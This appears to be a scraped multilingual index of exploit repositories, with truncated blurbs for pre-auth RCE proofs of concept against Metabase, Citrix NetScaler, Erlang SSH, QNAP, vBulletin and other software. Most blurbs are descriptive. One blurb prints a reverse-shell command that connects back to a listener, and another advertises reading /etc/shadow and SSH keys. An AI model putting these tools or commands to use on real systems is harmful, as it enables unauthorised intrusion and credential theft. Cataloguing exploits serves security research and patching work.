SMBGhost_RCE_PoC

SMBGhostRCEPoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other...

CVE-2026-86218-N-central-IOC-Toolkit

CVE-2026-86218 — N-able N-central 사전 인증 RCE | IOC 및 탐지 툴킷 CVSS 10.0 치명적 · 사전 인증 원격 코드 실행 · 정적 코드 주입 CWE-96 · 실제 악용 중 · CISA KEV -yellow 유지관리자: @jithinkrishnanrs · 저장소: github.com/jithinkrishnanrs/CVE-2026-86218-N-central-IOC-Toolkit CVE-2026-86218 — 관리형 서비스 제공업체MSP가 널리 사용하는 온프레미스 및 호스팅 원격 모니터링 및...

watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452

watchTowr-vs-Citrix-Netscaler-PreAuth-RCE Citrix NetScaler CVE-2026-8452용 탐지 아티팩트 생성기 기술적 세부 사항은 블로그 게시물을 참조하세요. 탐지 실행 화면 root@kitploit: python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/ / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ /...

CVE-2023-38646

CVE-2023-38646-exploit "이 취약점CVE-2023–38646로 지정됨은 공격자가 인증 없이 서버에서 임의의 명령을 실행할 수 있도록 허용했습니다." "cve-2023-38646를 위한 빠른 리버스 셸 익스플로잇 스크립트입니다." "이 취약점을 발견한 것은 아니며, 스크립트만 제작했습니다." 사용법 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | ...

CVE-2021-44077

CVE-2021-44077 Эксплойт Proof of Concept для CVE-2021-44077: PreAuth RCE в ManageEngine ServiceDesk Plus msiexec.exe Выполните pip install -r requirements.txt или убедитесь, что у вас установлен пакет requests. Если вы пытаетесь перехватить обратную оболочку, сначала запустите слушатель, например...

CVE-2023-38646

CVE-2023-38646 Burp Collector 없이 사용할 수 있도록 만든kh4sh3i의 포크입니다. CVE-2023-38646 Metabase의 사전 인증 RCE: 0.46.6.1 이전 버전의 Metabase 오픈소스와 1.46.6.1 이전 버전의 Metabase Enterprise는 공격자가 서버의 권한 수준으로 서버에서 임의의 명령을 실행할 수 있게 합니다. 악용을 위해 인증은 필요하지 않습니다. 사용법 python3 CVE-2023-38646.py -u http://target.com -t...

CVE-2025-3243

CVE-2025-32433 Эксплойт для библиотеки Erlang SSH Доказательство концепции эксплуатации CVE-2025-32433 , критической уязвимости в библиотеке Erlang SSH, позволяющей выполнение кода до аутентификации с помощью специально сформированных пакетов SSHMSGCHANNELREQUEST. Особенности Оригинальный эксплой...

CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001

CVE-2025-52691 / WT-2026-0001 SmarterMail エクスプロイト 🚨 重要なお知らせ このツールは、許可されたセキュリティテストおよび教育目的のみに使用してください! 無許可での使用は違法であり、非倫理的です 明示的な許可があるシステムでのみ使用してください 使用は自己責任です 利用者は適用されるすべての法律の遵守に責任があります 📋 概要 このエクスプロイトは、SmarterMail の 2 つの重大な脆弱性を組み合わせたものです: 1. CVE-2025-52691 : ファイルアップロードによる事前認証リモートコード実行 CVSS スコア: 10....

CVE-2026-61511-PoC-Exploit

CVE-2026-61511 – vBulletin 사전 인증 RCE 익스플로잇 및 검증 도구 ⚠️ 윤리적 사용 전용 – 승인된 보안 테스트 이 저장소의 도구는 승인된 보안 전문가, 블루 팀, 침투 테스터 만을 위한 것입니다. 승인되지 않은 컴퓨터 시스템 접근은 CFAA미국, Computer Misuse Act영국, TCK 243/244터키 및 전 세계의 유사 법률 에 따라 불법입니다. 📖 취약점 개요 CVE‑2026‑61511 은 vBulletin의 AJAX 템플릿 렌더링 엔진에서 발생하는 PHP eval 주입 결함입니다. 영향을...

CVE-2024-50629_50631

CVE-2024-5062950631 Synology BeeStation의 사전 인증 RCE N-day 익스플로잇. 상세: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1 root@kitploit: $ python3 poc.py 192.168.88.248 192.168.88.254 LISTENER listenin...

CVE-2023-38646

CVE-2023-38646-exploit "CVE-2023–38646 として識別されるこの脆弱性により、攻撃者は認証を必要とせずにサーバー上で任意のコマンドを実行できました。" cve-2023-38646 用の簡易リバースシェルエクスプロイトスクリプト。 この脆弱性を発見したわけではなく、スクリプトを作成しただけです。 使用法 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | |...

CVE-2023-38646

Metabase 事前認証 RCE CVE-2023-38646 2つのファイルを用意しました:- CVE-2023-38646-POC.py - 任意のMetabaseインスタンスがsetup-tokenを漏えいしているか確認するためのツール。 CVE-2023-38646-Reverse-Shell.py - 攻撃者が管理するマシン上でリバースシェルを取得するためのツール。 CVE-2023-38646-POC.py CVE-2023-38646-Reverse-Shell.py 使い方 root@kitploit: git clone...

Erlang-OTP-SSH-CVE-2025-32433

✅ Результат Сервер ответил на SSH-сообщение ID 80 0x50 — которое зарезервировано для пост-аутентификации. Это доказывает, что сервер принимает недопустимые сообщения на этапе пре-аутентификации, что указывает на уязвимое поведение, определенное в CVE-2025-32433. 📖 Сводка исследования Я создал эту...

CVE-2019-7192_QNAP_Exploit

QNAP Pre-Auth Root RCE CVE-2019-7192 CVE-2019-7195 Эксплойт на данный момент вы можете читать системные файлы /etc/shadow, ssh private key и т.д. Использование: root@kitploit: pip install -r requirements.txt or just pip install requests python3 gundy.py https://vulnerableurl:port Пример вывода...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

BlueKeep

Bluekeep PoC This repo contains research concerning CVE-2019-0708. Bluekeep or CVE-2019-0708 is an RCE exploit that effects the following versions of Windows systems: Windows 2003 Windows XP Windows Vista Windows 7 Windows Server 2008 Windows Server 2008 R2 The vulnerability occurs during...

CVE-2025-55182-poc

CVE-2025-55182 Доказательство концепции Критическое удалённое выполнение кода без аутентификации в компонентах React Server Полное доказательство концепции, демонстрирующее CVE-2025-55182, критическую уязвимость в [email protected], которая позволяет неаутентифицированным атакующим выполнять...

CVE-2026-29000-PoC-Exploit

🚀 CVE-2026-29000 - pac4j-jwt 인증 우회 익스플로잇 CVE-2026-29000 - JWT alg:none + JWE 암호화를 통한 원클릭 관리자 위조 📌 개요 이 익스플로잇은 pac4j-jwt 라이브러리의 치명적인 CVSS 10.0 취약점인 CVE-2026-29000 을 무기화합니다. 서버의 공개 JWKS 키를 추출하고 alg: none으로 암호화된 JWE 토큰을 위조함으로써 완전한 인증 우회를 달성하고 원클릭으로 전체 관리자 권한을 획득합니다. 🔥 주요 기능 ✅ 인증 불필요 - 사전 인증 상태에서 악용,...

CVE-2022-26134

Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 Удаленное выполнение кода без аутентификации в Confluence через OGNL-инъекцию CVE-2022-26134 2 июня 2022 года Atlassian опубликовала предупреждение безопасности для своих приложений Confluence Server и Data Center, указав...

CVE-2025-32432

CVE-2025-32432 Craft CMS 사전 인증 RCE PoC Craft CMS의 치명적인 사전 인증 원격 코드 실행 영향: Craft CMS 3.x, 4.x 및 5.x 5.6.16까지 정보: 이 익스플로잇은 HackTheBox Orion 머신에서 테스트되었습니다. 개요 이 저장소는 CVE-2025-32432 에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이는 Craft CMS의 치명적인 사전 인증 원격 코드 실행 취약점입니다. 이 취약점은 인증되지 않은 공격자가 Yii2의 동작 첨부 메커니즘과 class 오버라이...